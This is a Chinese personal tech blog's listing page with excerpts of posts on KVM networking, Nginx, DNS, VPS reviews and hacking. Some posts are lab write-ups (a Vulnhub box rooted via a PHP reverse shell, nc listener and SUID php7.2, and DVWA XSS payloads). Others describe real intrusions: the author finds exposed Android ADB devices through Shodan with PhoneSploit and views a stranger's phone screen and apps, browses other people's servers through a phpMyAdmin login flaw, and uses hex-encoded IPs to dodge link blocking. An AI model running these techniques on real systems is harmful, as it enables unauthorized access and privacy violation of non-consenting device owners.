首页
关于道锋
友情链接
公告栏
麟图图床
麟云文件
麟云证书
BH5UVN
Search
1
使用ReDroid打造自己的云手机
5,213 阅读
2
Cloudflare SAAS 接入自选教程
2,813 阅读
3
CloudFront CDN配置教程
2,458 阅读
4
Frpc使用XTCP不通过服务器传输
2,237 阅读
5
兽装曲腿制作文档
2,210 阅读
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
登录
Search
标签搜索
开源
源码
教程
服务器
环境搭建
摄影
rustlang
Rust
VS CODE
v2ray
bbr
加速
网络优化
拥塞控制
CloudFront教程
CF教程
AWS教程
CloudFront接入
Frpc
Frps
道锋潜鳞
累计撰写
447
篇文章
累计收到
129
条评论
首页
栏目
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
页面
关于道锋
友情链接
公告栏
友人
iMin博客
特资啦!个人资源分享站
三石的记录
咬一口激动的鱼
中二病晚期の物語
奇梦博客
布丁の小窝
道麟笔记
迷失的小K
koto's Site
西西のBlog
锐冰龙小站
Nick的琐碎日常
渣渣120
猎空のBlog“
Suntの小破站
BG5VXJ-无线电
Abyss博客
麟图图床
麟云文件
麟云证书
BH5UVN
搜索到
145
篇与
的结果
2020-10-08
云计算与KVM实践(网卡番外)
KVM-QEMU虚拟化具有四种虚拟网络设备1.rtl8139 经典的100M螃蟹网卡兼容性好,但是性能差劲。 这个网卡模式是qemu-kvm默认的模拟网卡类型,RTL8139是Realtek半导体公司的一个10/100M网卡系列,是曾经非常流行(当然现在看来有点古老)且兼容性好的网卡,几乎所有的现代操作系统都对RTL8139网卡驱动的提供支持 2.e1000 经典的1000M的Intel网卡,兼容性好,但性能一般般 纯的QEMU(非qemu-kvm)默认就是提供Intel e1000系列的虚拟网卡 3.virtio 半虚拟化神作网卡,10G网络带宽,性能优秀,但占用CPU 类型是qemu-kvm对半虚拟化IO(virtio)驱动的支持 4.VT-d 物理设备透传网卡(SR-IOV),性能优秀,但考研硬件设备 ps:以上解释为个人解释,非严谨解释先按照顺序测试一下所有网卡设备性能。测试平台:宿主机系统:Ubuntu 18.04 宿主机CPU:Intel I7-3630QM 宿主机内存:8G 神州K580S移动平台 客户机系统 Windows10 1903 客户机CPU:I7-3630QM(四线程) 客户机内存:4G 软件平台:iperf3 PS:测试数据仅供参考,具体由平台而异一、Rtl8139网卡启动KVM虚拟机打开iperf3进行TCP速度测试RTL8139网卡客户机上行速度RTL8139网卡客户机下行速度可以看出上行速度略高于下行速度。但交换性能较低二、e1000网卡e1000网卡客户机上行速度e1000网卡客户机下行速度e1000网卡是其中比较诡异的,下行速度基本上满载,而上行只能占据越60%的性能。且交换性能较低三、Virtio网卡virtio网卡客户机上行速度virtio网卡客户机下行速度virtio是唯一可以达到10Gb/s的,根据文献一,其iperf测试速率可达到9.4。文献1还提到如果virtio配置不合理速度只能达到3.6。不用担心这个情况,经查验ovirt自己生成的虚拟机配置都是合理的使用virtio_net半虚拟化驱动,可以提高网络吞吐量(thoughput)和降低网络延迟(latency),从而让客户机中网络达到几乎和原生网卡差不多的性能。四,VT-d网卡(平台不支持,略过,但是是真正最接近原生平台性能的网卡(硬件虚拟化))
2020年10月08日
101 阅读
3 评论
0 点赞
2020-09-05
Nginx禁止ip方式访问80、443端口
很多时候,在部署CDN的Https回源的时候,令人烦躁的Shodan引擎会让世界知道你的源站地址,带来不少麻烦比如惨烈的本站,在云锁防恶意解析功能不知道跑哪去以后,变成了这样源站地址直接暴露,这样做cdn防御还有什么用,,,根据证书查询到源服务器。。。。于是就寻思着在NGINX上手动配置一个默认站点,NGINX的默认站点寻找顺序是按照配置文件顺序排列的,在找不到可用server_name的时候,自动返回第一个站点。于是乎,我们需要在server标签最前面配置一个默认server标签来屏蔽大部分错误的请求。不过首先,我们肯定不会特意去买了个证书去配置443的默认站点吧。那就先使用OpenSSL自签发一份NGINX可用的证书一、签发证书1.生成私钥文件:openssl genrsa -des3 -out server.key 2048Ps:会提示需要给证书加密码2.去除口令:mv server.key server.key.backopenssl rsa -in server.key.back -out server.keyPs:会提示询问证书的密码3.创建请求证书:openssl req -new -key server.key -out server.csrPS:会提示输入一些信息,可以乱填或一路回车4.生成证书文件:openssl x509 -req -days 36500 -in server.csr -signkey server.key -out server.crt这样我们就得到了这样四个文件二、配置NGINX1.上传我们的server.crt server.key文件到我们NGINX所在的服务器下2.修改配置文件,在所有server的最前面添加server { listen 80 default_server; listen 443 default_server; server_name _; ssl on; ssl_certificate /www/server.crt;//证书上传地址 ssl_certificate_key /www/server.key; ssl_prefer_server_ciphers on; ssl_session_cache shared:SSL:10m; ssl_session_timeout 10m; ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4; ssl_protocols TLSv1 TLSv1.1 TLSv1.2; return 403;//返回403错误,可以自定义页面或其他错误码 }PS:代码放置需求,在虚拟主机配置文件前或主站点前eg.(宝塔)三、结束然后咋办?还要说?当然是保存重启了或者重载拉:—)如果返回403的话,正常就是这样了这样一来,可以有效阻止绝大部分的针对主机和域名的扫描器,保障服务器安全
2020年09月05日
454 阅读
0 评论
0 点赞
2020-08-28
Linux中ping不通外网?
在linux中ping www.baidu.com 无法ping通,出现:ping: www.baidu.com: Name or service not known 的错误,ping IP却可以通的, 一般是linux里的DNS没配置好。出现问题如图:解决方法1:在linux配置好相应的网关地址就行。方法:修改/etc/resolv.conf 文件,修改正确nameserver增加DNS服务器地址vi /etc/resolv.conf增加如下内容:nameserver 114.114.114.114 (电信的DNS)nameserver 8.8.8.8(googel的DNS)就可以实现ping通外网域名了解决方法2:在linux配置好相应的网卡设置就行vi /etc/sysconfig/network-scripts/ifcfg-eth*有一些VPS厂商的默认网关设置存在异常,需要手动配置正确的网关,否则无法联网
2020年08月28日
270 阅读
0 评论
0 点赞
2020-08-24
宝塔7.4.2 phpMyadmin未授权登录漏洞
宝塔昨天给每位注册用户基本上都发了这样一条消息经过询问一些大佬,得知是phpmyadmin登录的一个问题具体如下,在访问 IP:888/pma/ 的时候,不需要验证mysql账号密码即可以登录phpmyadmin如这个服务器这个服务器已经修复了这个服务器可以看到,不管是apache还是NGINX统统遭殃可以正常查询所有信息甚至是某政府网站。。。。也遭殃了漏洞修复@@@升级脚本@@@
2020年08月24日
101 阅读
1 评论
0 点赞
2020-08-12
Vulnhub靶场之Photographer: 1
废话不多说。下载安装先。启动kali虚拟机继续arp-scan -l查询目标ip目标:192.168.163.130,使用浏览器访问验证是目标地址使用nmap -sS -A 192.168.163.130查询相关的端口信息开放端口:80,139,445,8000刚刚80端口这边我们已经访问过了,是纯静态的内容,逐一访问,发现8000端口存在一个CMS系统是一个koken的cms,查询源码发现是0.22.24版本使用nikto扫描工具扫描目录nikto -h http://192.168.163.130:8000/可能存在admin目录,我们访问一下试试看页面设计的还不错。。。登录需要邮箱。我们目前没有,查阅exp库发现koken版本0.22.24的上传漏洞不过我没法登录,咋上传啊,首页也没有上传点呐于是乎,这个漏洞只能后期用刚刚我们发现存在445 139端口,具有smb的特征,那么,文件系统是否有值得我们搜索的东西呢使用enum4linux探索445端口 enum4linux 192.168.163.130没有账号密码,我们使用空密码连接挂载到我们本地目录下去看到有两个文件,第一个似乎是什么邮件的文件,我们cat一下那是密码吗?是邮箱号码?agi@photographer.com 或者daisa@photographer.com 密码: babygirl都试试看登录成功这样一来,刚刚的上传漏洞就能搞他了使用Kali自带的php反弹脚本来进行利用cp /usr/share/webshells/php/php-reverse-shell.php ~/yyssdd.php.jpg改一下监听端口七七八八。接下来上传,使用burp修改后缀名访问我们刚刚上传的另外在kali这边设置好监听nc -lvnp 1234监听好后开始访问,获取到反弹shell接下来python3 -c 'import pty;pty.spawn("/bin/bash")' 获取到交互式shell接下来查询关键的具有suid访问权限的程序find / -perm -u=s -type f 2>/dev/null发现有一个php7.2的东东具有权限,我们利用php7.2获取到root权限/usr/bin/php7.2 -r "pcntl_exec('/bin/sh', ['-p']);"使用php7.2的exec调起sh执行获取到root最高权似乎是旗子,搞定
2020年08月12日
101 阅读
0 评论
0 点赞
2020-08-04
ShockHosting 1H2G HDD 9.99$VPS测评
给三个好评,一个给大硬盘,一个给线路,一个给性能这款是本站原配置 速度非常快,大硬盘和3.5GHZ的CPU真的很吸引人(CPU默频3.5GHZ+,动态加速4.5GHZ)自带20G硬防官方分SSD和HDD款,但是在实际测试中,SSD和HDD款除了4K性能有区别外,连续读写速度基本持平,还有半价优惠下面看看测速开始bbrplus后,国内貌似电信有点抽风其他基本能接近半个带宽的速度另外也能看到io也是蛮高的。实测机器无超开的情况,基本上能跑满还是很赞的回程路由:大部分都是走的CN2-GT从上海回国去程:徐州联通徐州移动徐州电信基本上各家走各家的GT线路,但是效果还是不错商家的态度也很好,提交工单可以免费换机房,语气一定要好,不要丢了国人的脸。这家的机器不管是做储存还是开站都ojbk,高主频带来的体验很不错。对cloudflare的支持比较优秀,不管是移动香港回源还是电信美国回源,延迟都在2-10ms以内。
2020年08月04日
114 阅读
0 评论
0 点赞
2020-08-04
Cloudcone 2H4G 3T 6.5$VPS测评
最近cloudcone给我邮箱打了促销的邮件鉴于手头资金不是很足,看到这个2h4G心动了,但是还是有点怕线路问题造成缓慢,又或者是超开机器还不错CPU是E3 2.5GHZ的KVM架构,推测可能是1230可以自己额外购买ddos防御IP,每个IP仅需2美元/月,而且可以购买多个,ddos防御最高值为1Tbps,由全球最顶级的voxility提供,支持支付宝。测试IP:173.82.226.1 高防测试IP:173.82.152.1测速脚本:可以看出,磁盘io还是不错的,cpu性能在实际使用中可能略低,怀疑可能稍微超开了一点点。安装BBRPlus之后的速度不错,鉴于第一次做测评,脚本还出错了,哈哈下面看看路由去程江苏徐州电信走CN2 -GIA 过59.43.*.*去程江苏徐州移动GIA似乎去程江苏徐州联通GIA乍一看貌似都是各走各的线路,但是延迟还算阔以全网回程路由如果使用高防IP是禁止ICMP流量的。自测20G峰值流量无伤使用cloudflare的用户做好心理准备,CF移动香港直连到改机房的速度超过150MS,移动、教育网用户可能体验较差。可以考虑不加cdn。。。
2020年08月04日
326 阅读
0 评论
0 点赞
2020-07-31
十六进制网址探究
今天在某php群里看到了这样一个消息这奇怪的的域名把道锋我吓了一大跳,关键是,他能访问??看这个后缀,意识到哪里不对劲,这绝对不是“正常”的域名访问的时候稍微研究了一下他的URL先是访问到了一个ip,然后才去向他的网站的。难道是ip有问题?我的咋就不能这么折腾呢?我这犟脾气上来了,看了看他的地址:http://0X6A.0X0341D84很明显的看到有0x这个字符串。。这是?0x是十六进制的特征,可以理解成是一个注释,让计算机系统知道你这串数据是十六进制编码。既然知道这是十六进制了,拿这串地址的真实意思是什么呢?脑子抽筋的我,先是选择十六进制转字符来转换。结果。。。毫不意外,直接乱码警告。。。死脑筋的我一时间没转过弯来。直到我第二次访问火狐浏览器给我跳这段下拉。0x6a下方的IP虽然是计数到255,但是本身是十进制啊。难不成要十六进制转十进制?果然呢。。。。xxx.xxx.xxx.xxx都找到了一一对应的数据,那就很明白了,这串地址的编码顺序应该是这样的设aaa.bbb.ccc.ddd则地址串应该是 http://0X (HEXaaa).0X (HEXbbb)(HEXccc)(HEXddd)这么说,我也能用这东西来防红咯来到服务器,先安装上NGINX。记录下地址47.101.190.190根据换算HEX47=2f HEX101=65 HEX190=be 整合成地址:http://0X2f.0X065BEBE/完美,再设置一下NGINX目录302重定向就实现防红了这位老哥真的是骚气啊。类似的操作还比如八进制只不过八进制模式貌似没法完整转换成纯八进制编码串(可能是我打开方式不对)
2020年07月31日
68 阅读
0 评论
0 点赞
2020-07-24
搭建Go语言开发环境
Golang是啥?Go(又称 Golang)是 Google 的 Robert Griesemer,Rob Pike 及 Ken Thompson 开发的一种静态强类型、编译型语言。Go 语言语法与 C 相近,但功能上有:内存安全,GC(垃圾回收),结构形态及 CSP-style 并发计算。一、安装1.下载推官网下载:https://golang.org/dl/或者使用镜像站点(推荐,速度较快):https://golang.google.cn/dl/这里介绍的是Window开发环境(笔者懒得用Linux开发了(反正可以跨平台交叉编译))我是X64 Windows平台,,,一路next,再改一下路径就好。安装完成后,进入终端 用go version验证是否安装成功2.配置GOPATH类似的,和安装Java的环境类似,需要我们配置环境变量GOPATH路径最好只设置一个,所有的项目代码都放到GOPATH的src目录下。搞定,这样一来,在进行Go开发的时候,我们的代码总是会保存在$GOPATH/src目录下。在工程经过go build、go install或go get等指令后,会将下载的第三方包源代码文件放在$GOPATH/src目录下, 产生的二进制可执行文件放在 $GOPATH/bin目录下,生成的中间缓存文件会被保存在 $GOPATH/pkg 下。ps:下一篇,在IDE中开发编辑GO项目
2020年07月24日
88 阅读
0 评论
0 点赞
2020-06-14
使用Shodan扫描暴露的Adb控制全球在线的Andriod设备
这个项目是个好东西,但是fork有点惨淡。即便如此依然不影响它的能力,名称为PhoneSploit。支持Windows和Linux Windows的操作有点麻烦(不想折腾),因此本文以kali为主准备工作:PhoneSploitshodankail下载所需要的工具,也就是我们的项目。PhoneSploitLinux系统:git clone https://github.com/Zucccs/PhoneSploitcd PhoneSploitpip install coloramapython2 main_linux.pyWindows系统:git clone https://github.com/Zucccs/PhoneSploitextract adb.rar to the phonesploit directorycd PhoneSploitpip install coloramapython2 main.pyPS:由于我的kali环境比较全,没出现什么异常如果显示没有pip 的话,根据系统另行安装#python2 sudo apt install python-pip #非centos sudo yum install python2-pip #Centos #python3 sudo apt install python3-pip #非centos sudo yum install python3-pip #Centos看到下面的界面就表示安装成功由于我是Xshell的连接,色彩可能不一样接下来打开Shodan引擎一定一定要登录,不然没法搜索我们的相关语句之后根据关键词搜索,android debug bridge product:”Android Debug Bridge”.之后你就会看到如下界面。接下来根据工具所给的操作选项进行操作选项输入3我们输入靶机ip连接成功看到选项里面有一个查看屏幕的功能,我这里违背一下道德进行测试下载下来了看起来似乎在玩什么游戏遇到了广告输入14还能看到对方安装了什么软件所有操作请遵守法律!
2020年06月14日
122 阅读
0 评论
0 点赞
2020-05-17
DVWA-10.1 Stored Cross Site Scripting (XSS)
存储型xss的不同之处在于它可以将用户构造的有害输入直接存储起来,不需要攻击者构造链接诱使受害人点击触发,而是目标网站的用户只要访问插入恶意代码的网站就能触发,相比较反射型xss更为隐蔽,危害更大,受害者也会更多。Low服务器端核心代码<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitize name input $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?> 相关函数说明trim(string,charlist)函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符。mysql_real_escape_string(string,connection)函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。stripslashes(string)函数删除字符串中的反斜杠。可以看到,对输入并没有做XSS方面的过滤与检查,且存储在数据库中,因此这里存在明显的存储型XSS漏洞。漏洞利用message一栏输入<script>alert(1)</script>成功弹框:用户名无法做XSS,因为有用户名长度限制,当然也可以在控制台来完成修改。Medium服务器端核心代码<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( '<script>', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?> 相关函数说明strip_tags()strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用标签。addslashes()addslashes()函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤了漏洞利用同反射型XSS一样,可以用大小写绕过也可以用双写绕过。但是由于Name字段的限制这里就采用Burp来改包了。High服务器端核心代码<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>可以看到,这里使用正则表达式过滤了<script>标签,但是却忽略了img、iframe等其它危险的标签,因此name参数依旧存在存储型XSS。漏洞利用同之前的反射型XSS方法一样,Burp改包即可,抓包改name参数为<img src=1 onerror=alert(/xss/)>Impossible服务器端核心代码<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = stripslashes( $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $name = htmlspecialchars( $name ); // Update database $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); $data->bindParam( ':message', $message, PDO::PARAM_STR ); $data->bindParam( ':name', $name, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?> 可以看到,通过使用htmlspecialchars函数,解决了XSS。
2020年05月17日
77 阅读
0 评论
0 点赞
2020-05-10
DVWA-10.1 XSS (DOM)
XSSXSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。Low前端源码服务器端核心代码<?php # No protections, anything goes ?>可以看到,前端使用 document.write() 动态生成页面,服务器端代码没有任何的保护性措施!页面本意是叫我们选择默认的语言,但是对default参数没有进行任何的过滤。直接暴露在了URL地址栏里面漏洞利用我们可以构造XSS代码,访问链接:/vulnerabilities/xss_d/?default=<script>alert('xss')</script>可以看到,我们的script脚本成功执行了。我们去看看页面的源码变成什么样了Medium源代码:<?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { $default = $_GET['default']; # Do not allow script tags (不区分大小写) if (stripos ($default, "<script") !== false) { header ("location: ?default=English"); exit; } } ?> 可以看到,medium级别的代码先检查了default参数是否为空,如果不为空则将default等于获取到的default值。这里还使用了stripos 用于检测default值中是否有 <script ,如果有的话,则将 default=English 。很明显,这里过滤了<script (不区分大小写),那么我们可以使用<img src=1 οnerrοr=('hack')>但是当我们访问URL:/vulnerabilities/xss_d/?default=<img src=1 οnerrοr=alert('hack')> 此时并没有弹出任何页面风平浪静的页面我们查看网页源代码,发现我们的语句被插入到了value值中,但是并没有插入到option标签的值中,所以img标签并没有发起任何作用。所以我们得先闭合前面的标签,我们构造语句闭合option标签:<option value=' " + lang + " '> " + decodeURI(lang) + " </option>所以,我们构造该链接:/vulnerabilities/xss_d/?default=></option><img src=1 οnerrοr=alert('hack')> 还是风平浪静。。。。。查看源代码,发现我们的语句中只有 > 被插入到了option标签的值中,因为闭合了option标签,所以img标签并没有插入于是我们继续构造语句去闭合select标签,这下我们的img标签就是独立的一条语句了我们构造该链接:/vulnerabilities/xss_d/?default= ></option></select><img src=1 οnerrοr=alert('hack')>可以看到,我们的语句成功执行了High源代码: <?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # White list the allowable languages switch ($_GET['default']) { case "French": case "English": case "German": case "Spanish": # ok break; default: header ("location: ?default=English"); exit; } } ?> 这里high级别的代码先判断defalut值是否为空,如果不为空的话,再用switch语句进行匹配,如果匹配成功,则插入case字段的相应值,如果不匹配,则插入的是默认的值。这样的话,我们的语句就没有可能插入到页面中了。目前我也没有找到好的方法进行XSS注入。Impossible源代码:<?php # Don't need to do anything, protction handled on the client side ?> 我们可以看到,impossible级别的代码没有任何东西,注释写的是保护的代码在客户端的里面于是我们尝试访问链接/vulnerabilities/xss_d/?default=<script>alert('hack')</script>发现页面并没有弹出任何东西,而且语言框内的值是我们输入的参数的经过URL编码后的数据查看源代码,发现这里对我们输入的参数并没有进行URL解码,所以我们输入的任何参数都是经过URL编码,然后直接赋值给option标签。所以,就不存在XSS漏洞
2020年05月10日
93 阅读
0 评论
0 点赞
1
...
6
7
8
...
13